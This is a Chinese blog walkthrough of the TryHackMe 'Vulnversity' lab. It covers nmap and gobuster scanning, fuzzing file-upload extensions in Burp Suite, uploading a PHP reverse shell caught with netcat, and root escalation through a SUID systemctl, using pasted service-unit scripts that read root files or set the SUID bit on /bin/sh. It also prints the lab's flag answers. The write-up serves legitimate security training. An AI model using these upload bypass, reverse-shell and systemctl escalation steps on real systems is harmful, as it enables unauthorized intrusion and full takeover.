[Thm红队]靶场实战之漏洞主动侦察、Web 应用程序攻击和权限升级

前言

简单介绍一下thm与CTF不同 thm更加偏向于实战 thm红队打好后就可以挖洞了 CTF只是特定的环境有些限制

最近开thm学习,并且记录一下每一个房间的学习记录,也不知道会不会有人观看学习(stick on),进入主题,今天打的是漏洞大全房间(很基础 使用的是tryhackme的漏洞盒子+Kali Linux2023

图片[1],[Thm红队]靶场实战之漏洞主动侦察、Web 应用程序攻击和权限升级,网络安全爱好者中心-神域博客网

目标网站VulnUniversity:

图片[2],[Thm红队]靶场实战之漏洞主动侦察、Web 应用程序攻击和权限升级,网络安全爱好者中心-神域博客网
图片[3],[Thm红队]靶场实战之漏洞主动侦察、Web 应用程序攻击和权限升级,网络安全爱好者中心-神域博客网

实战:

我们拿到网站的第一步就是信息收集,nmap扫描一下端口,系统,和版本信息 我这里网址都能打开就不ping了


扫描盒子:nmap -sV MACHINE_IP

Nmap是一个免费、开源且功能强大的工具,用于发现计算机网络上的主机和服务。在我们的示例中,我们使用 Nmap 扫描该计算机以识别特定端口上运行的所有服务。Nmap 有很多功能;下面的表格总结了其一些功能。

Nmap标志描述
-sV尝试确定正在运行的服务的版本
-p <x> 或 -p-端口扫描端口 <x> 或扫描所有端口
-Pn禁用主机发现并扫描开放端口
-A启用操作系统和版本检测,执行内置脚本以进行进一步枚举 
-SC使用默认Nmap脚本扫描
-v详细模式
-sUUDP端口扫描
-sSTCP SYN端口扫描

这里nmap扫描一下端口,系统,和版本信息

nmap扫描需要一定时间 这里用漏洞盒子或者kali都可以 这里不得提一句就算计算漏洞盒子也扫的是它nnd真慢(不过正规实战的时候是没有这么慢的,所以还是很看好nmap)

在你扫描的时候回车就能看见扫描进度

 nmap -A -sC -p- -oN vulnUniversity.nmap 10.10.40.253
图片[4],[Thm红队]靶场实战之漏洞主动侦察、Web 应用程序攻击和权限升级,网络安全爱好者中心-神域博客网
图片[5],[Thm红队]靶场实战之漏洞主动侦察、Web 应用程序攻击和权限升级,网络安全爱好者中心-神域博客网

第一次忘截图扫描结果了,再扫一次太慢了就找了一个相似的图给大家展现一下扫描结果

可以看到开放的端口 系统是ubuntu 可以看到3333其实就是我们要找的端口进入后就是开头的那两张图片的样子

gobu扫描一下目录

使用名为 的快速目录发现工具Gobuster,您将找到可用于上传 shell 的目录。
回答以下问题

让我们首先扫描网站以查找任何隐藏的目录。为此,我们将使用Gobuster

Gobuster是一个用于暴力破解 URI(目录和文件)、DNS 子域和虚拟主机名的工具。对于这台机器,我们将重点使用它来暴力破解目录。

在这里下载Gobuster,或者如果您使用的是 Kali Linux ,请运行sudo apt-get install gobuster

首先,您需要一个Gobuster的单词列表(它将用于快速浏览单词列表以确定公共目录是否可用。如果您使用Kali Linux,您可以在/usr/share/wordlists下找到许多单词列表. 您还可以在 AttackBox 中使用位于 /usr/share/wordlists/dirbuster/directory-list-1.0.txt的目录的单词列表。

现在让我们使用gobuster dir -u http://MACHINE_IP:3333 -w <word list location>运行带有单词列表的Gobuster

戈巴斯特旗帜描述
-e在控制台中打印完整的 URL
-u目标网址
-w单词列表的路径
-U 和 -P基本身份验证的用户名和密码
-p <x>用于请求的代理
-c <http cookies>指定一个 cookie 来模拟您的身份验证

gobu扫一下目录很快 这里用的漏洞盒子扫的

gobuster dir -u http://10.10.40.253:3333 -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt

扫描结果如下:

图片[6],[Thm红队]靶场实战之漏洞主动侦察、Web 应用程序攻击和权限升级,网络安全爱好者中心-神域博客网

这么一看什么css js都是前端的images就是图片目录了,那internal才是上传目录咯

访问一下

图片[7],[Thm红队]靶场实战之漏洞主动侦察、Web 应用程序攻击和权限升级,网络安全爱好者中心-神域博客网

这里看到是文件上传,笑嘻了,ctfshow的文件上传小godyu都给打穿了这里的文件上传是更容易了

不过咱们还是按照房间走:

进行模糊扫描后缀看一下禁止上传什么样的后缀(检测一下上传黑白名单)

这里文件后缀其实有很多 这里简单的用 这里用到burpsuite这不是咱们的老朋友嘛

详细看一下我之前发的burpsuite爆破 这里随便上传一个文件送到攻击模块

图片[8],[Thm红队]靶场实战之漏洞主动侦察、Web 应用程序攻击和权限升级,网络安全爱好者中心-神域博客网

为我们的后缀添加注释

选择狙击手模式直接开搞

图片[9],[Thm红队]靶场实战之漏洞主动侦察、Web 应用程序攻击和权限升级,网络安全爱好者中心-神域博客网

可以清晰看到phtml的字节与其他不同那么可以上传的后缀就是phtml

当然也可以直接传shell 现在知道了就可以直接传shell了

查一下返回值找到了upload的路径

图片[10],[Thm红队]靶场实战之漏洞主动侦察、Web 应用程序攻击和权限升级,网络安全爱好者中心-神域博客网

其实到这里,房间那里给的是建立nc连接提权

shell下载https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php(这个shell是房间给的已经被淘汰了直接下载也会被杀毒杀掉)但是为了教程的完整性还是把他放出来吧

如果是实战小godyu是绝对直接传shell蚁剑哥斯拉冰蝎拿下的..

房间那里改shell ip建立连接

根据上述下载的文件需要改的配置如下:

图片[11],[Thm红队]靶场实战之漏洞主动侦察、Web 应用程序攻击和权限升级,网络安全爱好者中心-神域博客网

开启监听

nc -lvnp 1500

访问shell地址:

拿下shell

图片[12],[Thm红队]靶场实战之漏洞主动侦察、Web 应用程序攻击和权限升级,网络安全爱好者中心-神域博客网

先拿下一个user flag再提权拿到root的flag

图片[13],[Thm红队]靶场实战之漏洞主动侦察、Web 应用程序攻击和权限升级,网络安全爱好者中心-神域博客网

user的flag: 8bd7992fbe8a6ad22a63361004cfcedb

下一步进行提权:

现在您已经入侵了这台机器,我们将升级权限并成为超级用户(root)。
回答以下问题

图片[14],[Thm红队]靶场实战之漏洞主动侦察、Web 应用程序攻击和权限升级,网络安全爱好者中心-神域博客网

Linux中,SUID(执行时设置所有者 userId)是赋予文件的一种特定类型的文件权限。SUID 向用户授予临时权限,以在文件所有者(而不是运行它的用户)的许可下运行程序/文件。

例如,用于更改密码的二进制文件设置了 SUID 位 (/usr/bin/passwd)。这是因为要更改您的密码;它将需要写入您无权访问的 Shadowers 文件,而 root 可以;因此它具有 root 权限来进行正确的更改。

在系统上,搜索所有 SUID 文件。哪个文件 脱颖而出?

答案:

/bin/systemctl

关于提权 以及systemctl的介绍地址:

https://gtfobins.github.io/gtfobins/systemctl/

提权:

列出所有 suid 文件

find / -user root -perm -4000 -exec ls -ldb {} \;
图片[15],[Thm红队]靶场实战之漏洞主动侦察、Web 应用程序攻击和权限升级,网络安全爱好者中心-神域博客网
图片[16],[Thm红队]靶场实战之漏洞主动侦察、Web 应用程序攻击和权限升级,网络安全爱好者中心-神域博客网
图片[17],[Thm红队]靶场实战之漏洞主动侦察、Web 应用程序攻击和权限升级,网络安全爱好者中心-神域博客网

提权用到的所有代码如下:

cd /tmp
eop=$(mktemp).service
echo '[Service]
ExecStart=/bin/sh -c "cat /root/root.txt > /tmp/output"
[Install]
WantedBy=multi-user.target' > $eop
/bin/systemctl link $eop
/bin/systemctl enable --now $eop
ls -lsa  /tmp
cat output

带有注释的提权代码2:

#复制以下所有代码到目标机的shell界面即可(该脚本的目的是创建一个系统服务并以root用户身份运行它)

TK=$(mktemp).service   #我们创建一个名为“TK”的环境变量。在这个变量中,我们调用mktemp命令来创建一个临时文件,作为Systemd服务单元文件(.service在最后)


#创建一个单元文件并将其分配给环境变量--以此完成服务单元文件的构造
#下面是我们执行单元文件所需要的配置
#默认情况下:systemctl将在/etc/system/systemd中搜索文件。
#但是当前的登录用户没有权限写入/etc/system/systemd,我们通过将单元文件内容 一行一行地回显到刚才创建的env变量中来解决这个问题
echo '[Service]    #调用echo命令开始回显输入(注意单引号,通过不包括关闭行的第二个单引号,我们能够输入多个单行并完成我们的Systemd服务单元文件)
Type=oneshot
ExecStart=/bin/sh -c "chmod +s /bin/sh"  #当服务启动时调用默认的系统shell(-c 告诉shell执行引号中的所有内容)
[Install]                                #单元文件的第二部分
WantedBy=multi-user.target' > $TK        #设置此服务将运行的状态(或运行级别),将我们的所有输入指向TK env变量

#使用 systemctl 运行这个单元文件
/bin/systemctl link $TK                  #这使得我们的单元文件可用于systemctl命令,即使它在标准搜索路径之外
/bin/systemctl enable --now $TK          #启用一个单元实例--服务单元文件得以运行

拿到flag:

a58ff8579f0a9270368d33a9966c7fd5

在电脑面前做了好久WP也写了好久,临近晚上八点饭也没吃,但当flag出现的那一刻我才发觉那是值得的.

------本文已结束,感谢您的阅读------
THE END
喜欢就支持一下吧
点赞23 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容